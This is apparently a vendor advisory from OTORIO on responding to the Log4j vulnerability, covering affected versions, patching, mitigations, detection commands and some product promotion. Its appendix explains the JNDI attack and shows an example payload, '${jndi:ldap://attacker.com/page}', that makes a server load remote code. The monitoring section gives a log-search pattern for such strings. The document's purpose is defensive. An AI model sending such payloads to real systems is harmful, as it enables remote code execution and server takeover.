Future-proof investment for industrial companies that cannot afford downtime - GigaOm

GET THE REPORT
Incident Response Tips

Log4j - What Now?

Author: Dor Yardeni, Director of Cybersecurity Services, OTORIO

 

Nowadays, logging libraries support a lot of valuable features such as: sending email of log events, sending events to a remote syslog daemon, sending events to a database, auto-reloading of logging configuration files in production and many more. Log4j is a modern logging java library that is broadly used in a variety of consumer and enterprise services, websites, and applications as well as in operational technology products to log security and performance information.

Why are logging libraries so popular? Most likely, because developers want to log system’s state or user actions, so operations staff have a way of knowing what’s happening, for example:

logger.info("Application successfully started on port 8090");

logger.error("Database connection error", exception);

logger.warn("Invalid bank account number for record=[{}]", 92);

 

The problem with such commonly used tools is that when they are found to have vulnerabilities, the impact is felt across entire industries. This is exactly what happened in mid-December 2021, when a vulnerability was disclosed in the  widely used Log4j library. Since then, system administrators, incident responders, and governments have been scrambling to install patches and reduce the risk. 

The vulnerability that was disclosed last week is simple for attackers to exploit and can lead to full server takeover. It’s also  highly critical because the library is widely used in internet-facing assets with both critical IoT and OT assets as we have noted in a recent blog post. No wonder it received the highest CVVS criticality score. 

For more on the vulnerability and its exploits, scroll down to the Appendix

 

Putting things in order

In the following paragraphs, we’ll review what exactly was affected by the Log4j vulnerability, and the ways organizations need to deal with it. 

Affected Apache Log4j Versions​

log4j v2​ - Almost all versions of log4j version 2 are affected.

2.0-beta9 <= Apache log4j <= 2.16 (excluding Log4j 2.12.2)

log4j v1​ - Version 1 of log4j is vulnerable to other RCE attacks and should be migrated to 2.17.0.

Patching

The latest version that addresses CVE-2021-45046 (DOS), CVE-2021-45105 (DOS) and CVE-2021-44228 (Remote code execution vulnerability) is Log4j 2.17.0 for Java 8.

Apache also released Log4j 2.12.2 that addresses CVE-2021-44228 and CVE-2021-45046 for users still using Java 7.

Security teams are urged to review and monitor the Apache Log4j Security Vulnerabilities webpage for updates and mitigation guidance.

 

Simplifying the remediation process with OTORIO:

Take Action
Resolve with OTORIO
Quick hardening

The first thing to do is to review the firewall rules of the DMZs and make sure that servers are allowed to initiate connection with only whitelisted domains while inbound and outbound connections are constantly logged.

 In addition, it is important to make sure that your WAFs are automatically updated and loaded with log4j detection and prevention updates (It does not guarantee exploit prevention as it is based on behavior and signatures).

OTORIO’s technology is able to automatically digest dozens of firewall policy types from different vendors, and provide quick analysis with results in seconds, including practical mitigation steps.

Solutions: RAM2 and spOT
Prioritization and discovery
  • The most important applications to prioritize are the ones installed on internet facing servers, as they are the most accessible. 
  • OT assets that are accessible from the IT/IT-OT DMZ -  analyze your IT-OT DMZ firewall and discover which of the OT subnets are accessible from the IT network or the DMZ directly.   
  • Critical assets within the OT network that are accessible by 3rd party vendors  
  • Critical systems within the plant 
  • The rest of the organization

OTORIO’s OT-cyber experts help your organization to discover vulnerable internet facing servers and misconfigured DMZ firewalls between the IT and OT environments. 

Additionally, OTORIO’s pen-testers, who understand common attack vectors, simulate typical attack scenarios to ensure that no harm comes to your operational environment.

Identification After prioritizing the environments, you have to identify which of the assets are vulnerable. It is important to note that the vulnerability affects anyone who  uses log4j packages. This means it's primarily Java, but other languages like Scala and Groovy are also impacted.

OTORIO’s ReconOT is an automatic, passive OT-IoT-IT reconnaissance tool for discovering assets as they are exposed by a potential attacker. 

ReconOT was recently armed with non-intrusive capability of detecting applications that may be vulnerable to log4j

  Scanning internet facing endpoints OTORIO ReconOT searches for OT related artifacts, such as leaked engineering stations project files and leverages an up-to-date database of leaks.
  Use your asset/software inventory to identify known applications that were published as vulnerable to log4j. It is recommended to follow https://github.com/cisagov/log4j-affected-db#software-list as it contains a maintained vulnerable software list.

OTORIO’s platform is constantly updated according to the ongoing publications. Vulnerability alert is raised once a vulnerable asset is identified.

Solutions: RAM2 and spOTTM
  Scanning packages for manual checks include CERTCC’s tool (published by cisa) are useful both for linux and windows. For quick scanning to identify only running instances of log4j instead of scanning the entire filesystem, it is recommended to use Intezer’s scanner for linux.

OTORIO’s solutions, both RAM2 and spOT apply automated identification of policy deviations from security best practices. The solutions audit machines for compliance with common industrial security standards such as IEC 62443 standard and NERC CIP, while providing visibility into the softwares installed on an endpoint.

Automated scans with OTORIO streamlines the process while delivering more accurate results, allowing security teams to quickly and efficiently seal gaps in the security posture.

Mitigation and patching

Start by upgrading to the latest log4j version  - https://logging.apache.org/log4j/2.x/download.html

  1. If patching is not possible which is common in critical OT systems, we strongly recommend isolating the system from the Internet/corporate network and follow these steps:
    1. For version >=2.10: set log4j2.formatMsgNoLookups to true
    2. For releases from 2.0 to 2.10.0: remove the LDAP class from log4j completely by issuing the following command: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
    3. For certain JVM Versions, it is possible to set com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to false to mitigate the vulnerability. Some JVM versions already have this as default setting

When talking about OT assets, make sure to verify the steps above with the vendor of the system.

OTORIO’s seasoned OT-cyber experts can support organizations and service-providers cybersecurity teams to implement the required mitigation steps.
Monitoring

Detect attack attempts 

  b. Detection of exploitation attempts on Linux hosts by searching log4j jndi logs: sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log/

  c. Snort rules for IDS/IPS systems - https://rules.emergingthreatspro.com/open/

  d. Search and Block IOCs of known attackers that are exploiting systems in the wild:
-https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/702/original/IOCs_20211217.txt?1639778427 
-https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/701/original/IOCs_20211216.txt?1639690764
-https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/700/original/Dec1521IOCs.txt?1639683730

  e. If you have EDR on DMZ assets, monitor for suspicious curl, wget, or related commands

OTORIO’s RAM2  is a risk monitoring and management platform. 

RAM² integrates with various data sources such as EDR, FW, WAF, and OTORIO’s proprietary tools. The broader the coverage, the more chances to detect log4j exploitation attempts.

 

 

 

 

 

 

 

Contact us for more information: [email protected]

Appendix:

Vulnerability Details:

The log4j JNDI Attack

Source: Swiss CERT

The Java Naming and Directory Interface (JNDI) is a Java API for a directory service that allows Java software clients to discover and look up data and resources using directory services, such as LDAP, NDS and DNS in the form of Java objects. Essentially, using JNDI, one can create objects and register them on the directory services and later run lookup and execute operations on.

Log4j includes a Lookup mechanism that can be used to make requests with specific syntax of a string. For example, it can be used to retrieve various parameters such as the version of the Java environment via ${java:version}, etc. Then, by specifying the jndi key in the string, the Lookup mechanism uses JNDI API. If jndi:ldap://<server> is used as the key, the request goes to the LDAP server and at the end of the process, the vulnerable application might execute a malicious remote java class.

 

Exploit details:

Exploit Requirements​

  • A server with a vulnerable log4j version
  • Application that is listening with any protocol such as HTTP,TCP, etc, that allows an attacker to send string parameters  
  • Log statement that logs out the string from that malicious request.
    For example, a java based application that logs the user-agent string of each http request to a file. 

 

Exploit Steps​

  • Data from the User is sent to the server (via any protocol),
  • The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/page} 
  • The log4j vulnerability is triggered by the payload and the server makes a request to attacker.com via JNDI
  • The response contains a path to a remote Java class file (for example https://loader .attacker.com/attack.class) which is injected into the server process,
  • This injected payload triggers a second stage, and executes arbitrary code.

 

For more information, contact [email protected] 

 

<< BACK TO RESOURCES